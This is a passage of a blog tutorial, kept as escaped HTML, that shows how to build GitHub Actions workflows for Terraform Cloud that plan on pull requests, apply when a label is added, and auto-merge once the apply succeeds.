fail-fast\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e matrix\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e folder\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eCheckout\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eterraform validate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003edflook/terraform-validate@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e path\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workspace\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e terraform_fmt\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e strategy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e fail-fast\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e matrix\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e folder\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eterraform fmt\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003edflook/terraform-fmt-check@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e path\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workspace\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e terraform_plan\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e permissions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e contents\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull-requests\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e strategy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e fail-fast\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e matrix\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e folder\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eterraform plan\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003edflook/terraform-plan@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e path\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workspace\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis creates three jobs:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_validate\u003c/strong\u003e: This validates the terraform via \u003ccode\u003eterraform validate\u003c/code\u003e\ncommand to make sure that it is correct and does not have duplicate resources\nor anything like that.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_fmt\u003c/strong\u003e: This verifies that the terraform is well formatted by\nrunning the \u003ccode\u003eterraform fmt\u003c/code\u003e command.`\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eterraform_plan\u003c/strong\u003e: This runs the \u003ccode\u003eterraform\u003c/code\u003e plan and comments on the PR a\ndiff of the changes for you to verify.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTo verify this is working, lets delete \u003ccode\u003eroot/2-sqs.tf\u003c/code\u003e, then lets push a branch\nand make a pull request to see the result so far:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e root/2-sqs.tf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e add\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e .github/\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e root/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e checkout\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -b\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apply-before-merge\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e commit\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -m\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Implemented on-pull-request\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e git\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e push\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e origin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e head\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eAfter you make the pull request you should 3 checks on it and a comment that\nshows the plan:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/github_comment.png\" width=\"400\"\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/github_checks.png\" width=\"400\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eApply on Label\u003c/h1\u003e\n\u003cp\u003eSo now that the plan is working we need some way to \u003ccode\u003eapply\u003c/code\u003e the changes. I have\nfound the best way to do this is via a label rather than a comment because of\nthe way github actions work. Their event based actions like \u003ccode\u003eon-comment\u003c/code\u003e are not\nexecuted in the context of a pull-request.\u003c/p\u003e\n\u003cp\u003eSince we will be using a label to signal a plan is ready to be applied lets\ncreate a new file \u003ccode\u003e.github/workflows/on-pull-request-labeled.yml\u003c/code\u003e and provide\nthis content:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003epr_apply\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull_request\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e types\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: [ \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003elabeled\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eenv\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e TERRAFORM_CLOUD_TOKENS\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eapp.terraform.io=${{ secrets.TFE_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e GITHUB_TOKEN\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e terraform_apply\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ github.event.label.name == 'tfc-apply' }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e permissions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e contents\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull-requests\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e strategy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e fail-fast\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e matrix\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e folder\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003edflook/terraform-apply@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e path\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workspace\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will fire whenever a pull request is labeled with the \u003ccode\u003etfc-apply\u003c/code\u003e label.\nYou will need to create this label for the repository.\u003c/p\u003e\n\u003cp\u003eIt will run the \u003ccode\u003eapply\u003c/code\u003e and update the previous plan comment to let you\nknow the status.\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/tfc_applying.png\" width=\"400\"\u003e\n\u003cimg src=\"/images/posts/aws_apply_before_merge/tfc_applying_comment.png\" width=\"400\"\u003e\n\u003c/center\u003e\n\u003ch1\u003eMerge on Apply\u003c/h1\u003e\n\u003cp\u003eOne thing you will notice is that the pull request stayed open even after the\ninfrastructure is applied and we do not want that. We want any changes that have\nmade it into the environment to be merged into \u003ccode\u003emain\u003c/code\u003e automatically. To do\nthis we will create our final action.\u003c/p\u003e\n\u003cp\u003eCreate a new file \u003ccode\u003e.github/workflows/on-apply-finished.yml\u003c/code\u003e with this content:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003epr_merge\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e# Only trigger, when the build workflow succeeded\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workflow_run\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e workflows\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: [\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003epr_apply\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e types\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ecompleted\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e merge\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ github.event.workflow_run.conclusion == 'success' }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e permissions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e contents\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull-requests\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ewrite\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e checks\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e statuses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e actions\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eread\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e outputs\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pullRequestNumber\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e${{ steps.workflow-run-info.outputs.pullRequestNumber }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"Get information about the current run\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003epotiuk/get-workflow-origin@v1_5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e id\u003c/span\u003e\u003cspan 